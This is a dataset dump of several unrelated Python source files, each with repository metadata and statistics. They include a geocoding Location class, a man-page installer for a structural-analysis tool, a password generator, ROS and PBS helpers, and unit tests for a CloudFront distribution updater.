] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of paynova-api-python-client.
# https://github.com/akolpakov/paynova-api-python-client
# Licensed under the MIT license:
# http://www.opensource.org/licenses/MIT-license
# Copyright (c) 2015, Andrey Kolpakov <aakolpakov@gmail.com>
from unittest import TestCase as PythonTestCase
class TestCase(PythonTestCase):
MERCHANT_ID = 'test_merchant_id'
MERCHANT_PASSWORD = 'test_merchant_password'
ORDER_ID = '70bf60e7-cc9b-4321-bb32-a449010f45a5'
ORDER_SESSION_ID = 'test-session-id'
ORDER_URL = 'http://test.com'
| 29.85 | 60 | 0.740369 | 81 | 597 | 5.333333 | 0.679012 | 0.046296 | 0.074074 | 0.101852 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050193 | 0.132328 | 597 | 19 | 61 | 31.421053 | 0.783784 | 0.474037 | 0 | 0 | 0 | 0 | 0.338762 | 0.188925 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.142857 | 0.142857 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
331df52ecffa5edaab6c2b425b1f47eb19f1398a | 3,906 | py | Python | geopy/location.py | atnartur/geopy | 99be6fb2c6e3c57b951f1e239013cd473c3b5d9d | [
"MIT"
] | null | null | null | geopy/location.py | atnartur/geopy | 99be6fb2c6e3c57b951f1e239013cd473c3b5d9d | [
"MIT"
] | null | null | null | geopy/location.py | atnartur/geopy | 99be6fb2c6e3c57b951f1e239013cd473c3b5d9d | [
"MIT"
] | null | null | null | """
:class:`.Location` returns geocoder results.
"""
from geopy.point import Point
from geopy.compat import string_compare, py3k
def _location_tuple(location):
return location._address, (location._point[0], location._point[1])
class Location(object): # pylint: disable=R0903,R0921
"""
Contains a parsed geocoder response. Can be iterated over as
(location<String>, (latitude<float>, longitude<Float)). Or one can access
the properties `address`, `latitude`, `longitude`, or `raw`. The last
is a dictionary of the geocoder's response for this item.
.. versionadded:: 0.98
"""
__slots__ = ("_address", "_point", "_tuple", "_raw")
def __init__(self, address="", point=None, raw=None):
self._address = address
if point is None:
self._point = (None, None, None)
elif isinstance(point, Point):
self._point = point
elif isinstance(point, string_compare):
self._point = Point(point)
elif isinstance(point, (tuple, list)):
self._point = Point(point)
else:
raise TypeError(
"point an unsupported type: %r; use %r or Point",
type(point), type(string_compare)
)
self._tuple = _location_tuple(self)
self._raw = raw
@property
def address(self):
"""
Location as a formatted string returned by the geocoder or constructed
by geopy, depending on the service.
:rtype: unicode
"""
return self._address
@property
def latitude(self):
"""
Location's latitude.
:rtype: float or None
"""
return self._point[0]
@property
def longitude(self):
"""
Location's longitude.
:rtype: float or None
"""
return self._point[1]
@property
def altitude(self):
"""
Location's altitude.
:rtype: float or None
"""
return self._point[2]
@property
def point(self):
"""
:class:`geopy.point.Point` instance representing the location's
latitude, longitude, and altitude.
:rtype: :class:`geopy.point.Point` or None
"""
return self._point if self._point != (None, None, None) else None
@property
def raw(self):
"""
Location's raw, unparsed geocoder response. For details on this,
consult the service's documentation.
:rtype: dict or None
"""
return self._raw
def __getitem__(self, index):
"""
Backwards compatibility with geopy<0.98 tuples.
"""
return self._tuple[index]
def __unicode__(self):
return self._address
__str__ = __unicode__
def __repr__(self):
if py3k:
return "Location(%s, (%s, %s, %s))" % (
self._address, self.latitude, self.longitude, self.altitude
)
else:
# Python 2 should not return unicode in __repr__:
# http://bugs.python.org/issue5876
return "Location((%s, %s, %s))" % (
self.latitude, self.longitude, self.altitude
)
def __iter__(self):
return iter(self._tuple)
def __getstate__(self):
return self._address, self._point, self._raw
def __setstate__(self, state):
self._address, self._point, self._raw = state
self._tuple = _location_tuple(self)
def __eq__(self, other):
return (
isinstance(other, Location) and
self._address == other._address and # pylint: disable=W0212
self._point == other._point and # pylint: disable=W0212
self.raw == other.raw
)
def __ne__(self, other):
return not (self == other)
def __len__(self): # pragma: no cover
return len(self._tuple)
| 26.571429 | 78 | 0.576037 | 434 | 3,906 | 4.949309 | 0.267281 | 0.050279 | 0.027933 | 0.037244 | 0.222533 | 0.102886 | 0.043296 | 0 | 0 | 0 | 0 | 0.01272 | 0.315668 | 3,906 | 146 | 79 | 26.753425 | 0.790872 | 0.274962 | 0 | 0.191781 | 0 | 0 | 0.046202 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.232877 | false | 0 | 0.027397 | 0.09589 | 0.520548 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
332ade9be7f92b5478f8c8209de6ebe279c07e80 | 2,192 | py | Python | manage_package.py | koksyuen/pySA | 31566bd29d3f685d518d8bedbe2aee118c7ca7b0 | [
"MIT"
] | null | null | null | manage_package.py | koksyuen/pySA | 31566bd29d3f685d518d8bedbe2aee118c7ca7b0 | [
"MIT"
] | null | null | null | manage_package.py | koksyuen/pySA | 31566bd29d3f685d518d8bedbe2aee118c7ca7b0 | [
"MIT"
] | null | null | null | from termcolor import colored
import subprocess
import os
import sys
man_lines = ['.\\" Manpage for pySA.\n', '.\\" Contact https://gitter.im/pySA-dev for help.\n', '.TH man 1 "27 June 2016" "0.0.1" "pySA man page"\n', '.SH NAME\n', 'pySA \\- a commandline tool for structural analysis\n', '.SH SYNOPSIS\n', 'pySA [flag]=[INPUT]\n', '.SH DESCRIPTION\n', 'pySA aims at making structural analysis of a beam easy by giving a detailed desription on how to solve for Shear Force and Bending Moment diagrams.\n', '.SH OPTIONS\n', '.PP\n', '-l: span of the beam\n', '.PP\n', '-p: point loads on the beam.\n', '.PP\n', '-u: uniformly distributed loads on the beams.\n', '.PP\n', '-s: supports on the beam (Use 2 pin or 1 fixed supports).\n', '.PP\n', '-f: To take input from a file (Use 2 pin or 1 fixed supports).\n', '.SH EXAMPLES\n', 'Check out examples at https://github.com/pySA-dev/pySA/wiki/Examples\n', '.SH BUGS\n', 'Please report any bugs at https://github.com/pySA-dev/pySA/issues\n', '.SH AUTHOR\n', 'Sri Sanketh Uppalapati(iamjustice443@gmail.com)\n', '.SH COPYRIGHT\n', 'MIT License\n', 'Copyright (c) 2016 Sri Sanketh Uppalapati\n', 'https://github.com/pySA-dev/pySA/blob/master/LICENSE.txt\n']
def generate_page(file_name, lines):
f = open(file_name, 'w')
f.writelines(lines)
def delete_page(file_name):
os.remove(file_name)
def main():
try:
if(sys.argv[1]=='install'):
generate_page('pySA', man_lines)
subprocess.call("sudo python3 setup.py install", shell=True)
subprocess.call("sudo cp pySA /usr/share/man/man1/pySA.1", shell=True)
subprocess.call("sudo gzip /usr/share/man/man1/pySA.1", shell=True)
delete_page('pySA')
elif(sys.argv[1]=='uninstall'):
subprocess.call("sudo rm -rf /usr/local/bin/pySA", shell=True)
subprocess.call("sudo rm -rf /usr/share/man/man1/pySA.1.gz", shell=True)
except:
print(colored('Enter valid arguments', 'red'))
print(colored('Valid arguments:', 'red'))
print(colored('1. install - To install pySA package', 'red'))
print(colored('2. uninstall - To uninstall pySA package', 'red'))
main()
| 59.243243 | 1,132 | 0.652372 | 348 | 2,192 | 4.08046 | 0.405172 | 0.016901 | 0.014085 | 0.038028 | 0.271831 | 0.177465 | 0.112676 | 0.074648 | 0 | 0 | 0 | 0.017699 | 0.175182 | 2,192 | 36 | 1,133 | 60.888889 | 0.767699 | 0 | 0 | 0 | 0 | 0.148148 | 0.604927 | 0.053832 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.148148 | 0 | 0.259259 | 0.148148 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
332f1aea4b72b0d3dbc984f45fa1f1b91e6090b4 | 805 | py | Python | Desktop10.4.1/python/osgeo/__init__.py | Esri/raster2gpkg | d10ebb3038786ecddf41072ba5b2c49baad97c5a | [
"Apache-2.0"
] | 13 | 2015-11-18T18:26:34.000Z | 2021-05-09T13:59:46.000Z | Desktop10.4.1/python/osgeo/__init__.py | Esri/raster2gpkg | d10ebb3038786ecddf41072ba5b2c49baad97c5a | [
"Apache-2.0"
] | 4 | 2015-12-26T03:16:25.000Z | 2016-08-23T17:18:11.000Z | Desktop10.4.1/python/osgeo/__init__.py | Esri/raster2gpkg | d10ebb3038786ecddf41072ba5b2c49baad97c5a | [
"Apache-2.0"
] | 5 | 2015-10-22T13:28:53.000Z | 2020-12-12T13:07:52.000Z | # __init__ for osgeo package.
# making the osgeo package version the same as the gdal version:
from sys import version_info
if version_info >= (2,6,0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_gdal', [dirname(__file__)])
except ImportError:
import _gdal
return _gdal
if fp is not None:
try:
_mod = imp.load_module('_gdal', fp, pathname, description)
finally:
fp.close()
return _mod
_gdal = swig_import_helper()
del swig_import_helper
else:
import _gdal
__version__ = _gdal.__version__ = _gdal.VersionInfo("RELEASE_NAME")
| 28.75 | 86 | 0.583851 | 92 | 805 | 4.706522 | 0.51087 | 0.076212 | 0.110855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005682 | 0.344099 | 805 | 27 | 87 | 29.814815 | 0.814394 | 0.111801 | 0 | 0.181818 | 0 | 0 | 0.032164 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.409091 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
33436e764c6179adc268b4ca9a2a6c0112d0a61f | 567 | py | Python | tests/test_jedi.py | akimous/akimous | 1828c09407bc32b233500647290d698ba5e5549f | [
"BSD-3-Clause"
] | 12 | 2019-11-14T14:20:33.000Z | 2022-03-27T15:24:45.000Z | tests/test_jedi.py | akimous/akimous | 1828c09407bc32b233500647290d698ba5e5549f | [
"BSD-3-Clause"
] | 7 | 2020-04-05T05:37:52.000Z | 2020-09-27T14:21:41.000Z | tests/test_jedi.py | akimous/akimous | 1828c09407bc32b233500647290d698ba5e5549f | [
"BSD-3-Clause"
] | 3 | 2020-03-23T17:31:39.000Z | 2022-03-27T15:24:53.000Z | # Jedi breaks frequently after 0.10.2.
# Here is some regression tests to make sure Jedi is not going to break this app
import jedi
def test_keyword_completion():
completions = jedi.Script('def a():\n pa').complete()
assert len(completions) == 1
assert completions[0].name == 'pass'
def test_call_signatures():
code = 'from scipy.fftpack import fft\nfft()'
call_signatures = jedi.Script(code).get_signatures(2, 4)
assert len(call_signatures) == 1
assert call_signatures[0].name == 'fft'
assert len(call_signatures[0].docstring())
| 29.842105 | 80 | 0.705467 | 83 | 567 | 4.710843 | 0.566265 | 0.179028 | 0.066496 | 0.117647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023504 | 0.174603 | 567 | 18 | 81 | 31.5 | 0.811966 | 0.202822 | 0 | 0 | 0 | 0 | 0.124722 | 0 | 0 | 0 | 0 | 0 | 0.454545 | 1 | 0.181818 | false | 0.090909 | 0.181818 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
33551cf647b6f25ac52d7349b00368abe3cb7c2a | 70 | py | Python | linkedin/__init__.py | ptwobrussell/python-linkedin | fe9da39f3d166141181e01d9fec4b0065cdad078 | [
"MIT"
] | 6 | 2015-10-12T18:53:43.000Z | 2019-09-05T15:27:56.000Z | linkedin/__init__.py | ptwobrussell/python-linkedin | fe9da39f3d166141181e01d9fec4b0065cdad078 | [
"MIT"
] | 1 | 2019-01-22T20:54:25.000Z | 2019-01-22T20:54:25.000Z | linkedin/__init__.py | ptwobrussell/python-linkedin | fe9da39f3d166141181e01d9fec4b0065cdad078 | [
"MIT"
] | 5 | 2015-01-25T18:28:11.000Z | 2019-09-08T19:39:12.000Z | __version__ = '2.0'
VERSION = tuple(map(int, __version__.split('.')))
| 23.333333 | 49 | 0.671429 | 9 | 70 | 4.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031746 | 0.1 | 70 | 2 | 50 | 35 | 0.587302 | 0 | 0 | 0 | 0 | 0 | 0.057143 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
33561a537fd196ec703062c52cdf16f79274167c | 681 | py | Python | bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py | MosHumanoid/bitbots_behavior | 4667f67dcfb45fd46660544cb8b0821c4f2c0551 | [
"MIT"
] | null | null | null | bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py | MosHumanoid/bitbots_behavior | 4667f67dcfb45fd46660544cb8b0821c4f2c0551 | [
"MIT"
] | null | null | null | bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py | MosHumanoid/bitbots_behavior | 4667f67dcfb45fd46660544cb8b0821c4f2c0551 | [
"MIT"
] | 1 | 2020-07-12T12:58:07.000Z | 2020-07-12T12:58:07.000Z | import rospy
from dynamic_stack_decider.abstract_decision_element import AbstractDecisionElement
class GoalSeen(AbstractDecisionElement):
def __init__(self, blackboard, dsd, parameters=None):
super(GoalSeen, self).__init__(blackboard, dsd, parameters)
self.goal_lost_time = rospy.Duration(self.blackboard.config['goal_lost_time'])
def perform(self, reevaluate=False):
self.publish_debug_data("goal_seen_time", rospy.Time.now() - self.blackboard.world_model.goal_last_seen())
if self.blackboard.world_model.goal_last_seen() != rospy.Time(0):
return 'YES'
return 'NO'
def get_reevaluate(self):
return True
| 35.842105 | 114 | 0.728341 | 83 | 681 | 5.650602 | 0.518072 | 0.119403 | 0.098081 | 0.102345 | 0.153518 | 0.153518 | 0.153518 | 0 | 0 | 0 | 0 | 0.00177 | 0.170338 | 681 | 18 | 115 | 37.833333 | 0.828319 | 0 | 0 | 0 | 0 | 0 | 0.048458 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.153846 | 0.076923 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
682268ad95dff89ff75e13e15a3fe323425b6d13 | 524 | py | Python | classification/tools.py | badheshchauhan/python | 2c9b6bbffbe56af1753b37c1778bae1f5ea7cf46 | [
"MIT"
] | 204 | 2018-09-19T15:34:56.000Z | 2022-03-16T20:45:55.000Z | classification/tools.py | Shubhanshu156/python-2 | ef093e9efb00d15e608dde294aa218482531a4b1 | [
"MIT"
] | 44 | 2018-10-02T03:02:29.000Z | 2021-10-06T15:18:08.000Z | classification/tools.py | Shubhanshu156/python-2 | ef093e9efb00d15e608dde294aa218482531a4b1 | [
"MIT"
] | 177 | 2018-10-02T02:47:08.000Z | 2022-03-17T03:51:36.000Z | from matplotlib.image import imread
import matplotlib.pyplot as plt
from math import sqrt
import math
import random
import numpy
import operator
from scipy.spatial.distance import cdist
from scipy.linalg import norm
import datetime
def Histogram(path):
image = imread(path)
if len(image.shape) != 2:
def gray(rgb): return numpy.dot(rgb[..., :3], [0.2989, 0.5870, 0.1140])
gray = gray(image)
image = gray
hist, bins = numpy.histogram(image.ravel(), 256, [0, 256])
return adapt(hist)
| 24.952381 | 79 | 0.692748 | 77 | 524 | 4.714286 | 0.532468 | 0.055096 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057143 | 0.198473 | 524 | 20 | 80 | 26.2 | 0.807143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.555556 | 0.055556 | 0.722222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
682344d9ce095b1d8f6b13cd0aeb4a4a148efc83 | 369 | py | Python | parsl/providers/pbspro/template.py | cylondata/parsl | 00ff9372bd841dafef8a0b3566c79ffe68f0e367 | [
"Apache-2.0"
] | null | null | null | parsl/providers/pbspro/template.py | cylondata/parsl | 00ff9372bd841dafef8a0b3566c79ffe68f0e367 | [
"Apache-2.0"
] | 3 | 2017-02-28T23:34:26.000Z | 2017-02-28T23:36:02.000Z | parsl/providers/pbspro/template.py | cylondata/parsl | 00ff9372bd841dafef8a0b3566c79ffe68f0e367 | [
"Apache-2.0"
] | null | null | null | template_string = '''#!/bin/bash
#PBS -S /bin/bash
#PBS -N ${jobname}
#PBS -m n
#PBS -l walltime=$walltime
#PBS -l select=${nodes_per_block}:ncpus=${ncpus}${select_options}
#PBS -o ${submit_script_dir}/${jobname}.submit.stdout
#PBS -e ${submit_script_dir}/${jobname}.submit.stderr
${scheduler_options}
${worker_init}
export JOBNAME="${jobname}"
${user_script}
'''
| 19.421053 | 65 | 0.696477 | 53 | 369 | 4.641509 | 0.54717 | 0.056911 | 0.081301 | 0.178862 | 0.227642 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094851 | 369 | 18 | 66 | 20.5 | 0.736527 | 0 | 0 | 0 | 0 | 0 | 0.932249 | 0.398374 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
682a16f742a25f3cabb8ce4560e2eff76bfd4e3b | 670 | py | Python | shot_detector/features/extractors/colours/luma_extractor.py | w495/shot_detector | 617ff45c9c3c96bbd9a975aef15f1b2697282b9c | [
"BSD-3-Clause"
] | 18 | 2015-09-27T21:34:18.000Z | 2022-03-24T12:14:51.000Z | shot_detector/features/extractors/colours/luma_extractor.py | w495/shot_detector | 617ff45c9c3c96bbd9a975aef15f1b2697282b9c | [
"BSD-3-Clause"
] | 6 | 2021-03-18T21:21:35.000Z | 2022-03-11T23:32:55.000Z | shot_detector/features/extractors/colours/luma_extractor.py | w495/shot_detector | 617ff45c9c3c96bbd9a975aef15f1b2697282b9c | [
"BSD-3-Clause"
] | 3 | 2017-09-14T20:53:26.000Z | 2021-12-18T19:18:18.000Z | # -*- coding: utf8 -*-
"""
This is part of shot detector.
Produced by w495 at 2017.05.04 04:18:27
"""
from __future__ import absolute_import, division, print_function
from ..base_extractor import BaseExtractor
class LumaExtractor(BaseExtractor):
"""
...
"""
@staticmethod
def av_format(**_):
"""
:return:
"""
return 'rgb24'
def transcode_frame_images(self, image_seq, **kwargs):
"""
:type image_seq: collections.Iterable
:param image_seq:
:return:
"""
image_seq = self.convert_to_luminosity(image_seq, **kwargs)
return image_seq
| 19.705882 | 67 | 0.583582 | 70 | 670 | 5.314286 | 0.7 | 0.129032 | 0.075269 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042644 | 0.3 | 670 | 33 | 68 | 20.30303 | 0.750533 | 0.255224 | 0 | 0 | 0 | 0 | 0.012755 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.777778 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
682d75e9636f48abc5f0f85299df6fd1637ef3cf | 771 | py | Python | Password_Generator/password_generator.py | Amaguk2023/password_generator.py | f121b0aa2754c50915bcf19cd0d1465ba03dedce | [
"MIT"
] | 5 | 2021-06-18T10:34:18.000Z | 2021-07-16T20:07:09.000Z | Password_Generator/password_generator.py | Amaguk2023/PasswordGenerator | f121b0aa2754c50915bcf19cd0d1465ba03dedce | [
"MIT"
] | 3 | 2021-06-18T08:19:09.000Z | 2021-07-11T18:56:41.000Z | Password_Generator/password_generator.py | Amaguk2023/password_generator.py | f121b0aa2754c50915bcf19cd0d1465ba03dedce | [
"MIT"
] | 3 | 2021-06-14T20:07:14.000Z | 2021-06-18T06:02:14.000Z | import string, secrets
import password_file_creation
#PASSWORD LIST CREATION
def pwd_lst_generator(password_amount, password_length, include_punctuation):
if include_punctuation == True:
pwd_lst = []
for i in range(password_amount):
pwd_lst.append(''.join(secrets.choice(list(string.ascii_letters)+list(string.digits)+list(string.punctuation)) for i in range (password_length)))
if len(pwd_lst) == password_amount:
password_file_creation.pwd_file_creation(pwd_lst)
else:
pwd_lst = []
for i in range(password_amount):
pwd_lst.append(''.join(secrets.choice(list(string.ascii_letters)+list(string.digits)) for i in range (password_length)))
if len(pwd_lst) == password_amount:
password_file_creation.pwd_file_creation(pwd_lst)
| 32.125 | 148 | 0.762646 | 110 | 771 | 5.054545 | 0.263636 | 0.097122 | 0.043165 | 0.079137 | 0.679856 | 0.679856 | 0.679856 | 0.679856 | 0.679856 | 0.679856 | 0 | 0 | 0.129702 | 771 | 23 | 149 | 33.521739 | 0.828614 | 0.028534 | 0 | 0.533333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0.666667 | 0.133333 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
683c86ee7ceb9bd648e71a44d8cc8e96e91c2763 | 21,492 | py | Python | cloudfront_distribution_updater_test.py | SilkStart/cloudfront-distribution-updater | b4afd20374de2e6a06205167f370bfcd28698813 | [
"Apache-2.0"
] | null | null | null | cloudfront_distribution_updater_test.py | SilkStart/cloudfront-distribution-updater | b4afd20374de2e6a06205167f370bfcd28698813 | [
"Apache-2.0"
] | null | null | null | cloudfront_distribution_updater_test.py | SilkStart/cloudfront-distribution-updater | b4afd20374de2e6a06205167f370bfcd28698813 | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 SilkStart Technology Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import cloudfront_distribution_updater
import mock
import datetime
class CloudFrontDistributionTemplateUpdateTest(unittest.TestCase):
def create_sample_distribution(self):
return {
u'Id': 'SAMPLEXXXXXXXX',
u'Status': 'Deployed',
u'LastModifiedTime': datetime.datetime(2015, 1, 1),
u'DomainName': 'example.cloudfront.net',
u'Aliases': {
u'Items': [
'www.example.com',
'*.example.com'
],
u'Quantity': 2
},
u'Origins': {
u'Quantity': 2,
u'Items': [
{
u'Id': u'Custom-example-origin.example.com',
u'DomainName': u'example-origin.example.com',
u'OriginPath': u'',
u'CustomOriginConfig': {
u'HTTPPort': 80,
u'HTTPSPort': 443,
u'OriginProtocolPolicy': u'match-viewer'
}
},
{
u'Id': u'Custom-example-origin-2.example.com',
u'DomainName': u'example-origin-2.example.com',
u'OriginPath': u'',
u'CustomOriginConfig': {
u'HTTPPort': 80,
u'HTTPSPort': 443,
u'OriginProtocolPolicy': u'http-only'
}
}
]
},
u'DefaultCacheBehavior': {
u'TargetOriginId': 'Custom-example-origin.example.com',
u'ForwardedValues': {
u'Cookies': {
u'Forward': 'whitelist',
u'WhitelistedNames': {
u'Items': [
'cookie1',
'cookie2'
],
u'Quantity': 2
}
},
u'Headers': {
u'Items': [
'Header1',
'Host'
],
u'Quantity': 1
},
u'QueryString': True
},
u'AllowedMethods': {
u'CachedMethods': {
u'Items': [
'HEAD',
'GET'
],
u'Quantity': 2
},
u'Items': [
'HEAD',
'DELETE',
'POST',
'GET',
'OPTIONS',
'PUT',
'PATCH'
],
u'Quantity': 7
},
u'DefaultTTL': 0,
u'MaxTTL': 0,
u'MinTTL': 0,
u'SmoothStreaming': False,
u'TrustedSigners': {
u'Enabled': False, u'Quantity': 0
},
u'ViewerProtocolPolicy': 'allow-all'
},
u'CacheBehaviors': {
u'Items': [
{
u'AllowedMethods': {
u'CachedMethods': {
u'Items': [
'HEAD',
'GET'
],
u'Quantity': 2
},
u'Items': [
'HEAD',
'GET',
'OPTIONS'
],
u'Quantity': 3
},
u'DefaultTTL': 86400,
u'ForwardedValues': {
u'Cookies': {
u'Forward': 'none'
},
u'Headers': {
u'Quantity': 0
},
u'QueryString': True
},
u'MaxTTL': 31536000,
u'MinTTL': 0,
u'PathPattern': '/res/*',
u'SmoothStreaming': False,
u'TargetOriginId': 'Custom-example-origin-2.example.com',
u'TrustedSigners': {
u'Enabled': False,
u'Quantity': 0
},
u'ViewerProtocolPolicy': 'allow-all'
}
],
u'Quantity': 1
},
u'Comment': 'Test Distribution (ENV=TEST)',
u'CustomErrorResponses': {
u'Items': [],
u'Quantity': 0
},
u'Enabled': True,
u'PriceClass': 'PriceClass_All',
u'Restrictions': {
u'GeoRestriction': {
u'Quantity': 0,
u'RestrictionType': 'none'
}
},
u'ViewerCertificate': {
u'CloudFrontDefaultCertificate': True,
u'MinimumProtocolVersion': 'SSLv3'
},
u'WebACLId': 'de305d54-75b4-431b-adb2-eb6b9e546014'
}
def create_empty_distribution(self):
return {
u'Id': 'EMPTYXXXXXXXXX',
u'Status': 'Deployed',
u'LastModifiedTime': datetime.datetime(2015, 1, 1),
u'DomainName': 'empty.cloudfront.net',
u'Aliases': {
u'Items': [],
u'Quantity': 0
},
u'Origins': {
u'Quantity': 0,
u'Items': [
{
u'Id': u'Custom-example-origin.example.com',
u'DomainName': u'example-origin.example.com',
u'OriginPath': u'',
u'CustomOriginConfig': {
u'HTTPPort': 80,
u'HTTPSPort': 443,
u'OriginProtocolPolicy': u'match-viewer'
}
}
]
},
u'DefaultCacheBehavior': {
u'TargetOriginId': 'Custom-example-origin.example.com',
u'ForwardedValues': {
u'Cookies': {
u'Forward': 'none',
u'WhitelistedNames': {
u'Items': [],
u'Quantity': 0
}
},
u'Headers': {
u'Items': [],
u'Quantity': 0
},
u'QueryString': False
},
u'AllowedMethods': {
u'CachedMethods': {
u'Items': [],
u'Quantity': 0
},
u'Items': [],
u'Quantity': 0
},
u'DefaultTTL': 0,
u'MaxTTL': 0,
u'MinTTL': 0,
u'SmoothStreaming': False,
u'TrustedSigners': {
u'Enabled': False, u'Quantity': 0
},
u'ViewerProtocolPolicy': 'allow-all'
},
u'CacheBehaviors': {
u'Items': [],
u'Quantity': 0
},
u'Comment': '',
u'CustomErrorResponses': {
u'Items': [],
u'Quantity': 0
},
u'Enabled': False,
u'PriceClass': 'PriceClass_All',
u'Restrictions': {
u'GeoRestriction': {
u'Quantity': 0,
u'RestrictionType': 'none'
}
},
u'ViewerCertificate': {
u'CloudFrontDefaultCertificate': True,
u'MinimumProtocolVersion': 'SSLv3'
},
u'WebACLId': ''
}
def testGetTagsFromComments_multiple_tags(self):
comment = "This part doesn't matter (KEY1=VALUE1,KEY2=VALUE2)"
expected = {"key1":"value1", "key2":"value2"}
tags = cloudfront_distribution_updater.tags_from_comment(comment)
self.assertEqual(expected, tags)
def testGetTagsFromComments_single_tag(self):
comment = "This part doesn't matter (KEY1=VALUE1)"
expected = {"key1":"value1"}
tags = cloudfront_distribution_updater.tags_from_comment(comment)
self.assertEqual(expected, tags)
def testGetTagsFromComments_no_tags(self):
comment = "This part doesn't matter"
expected = {}
tags = cloudfront_distribution_updater.tags_from_comment(comment)
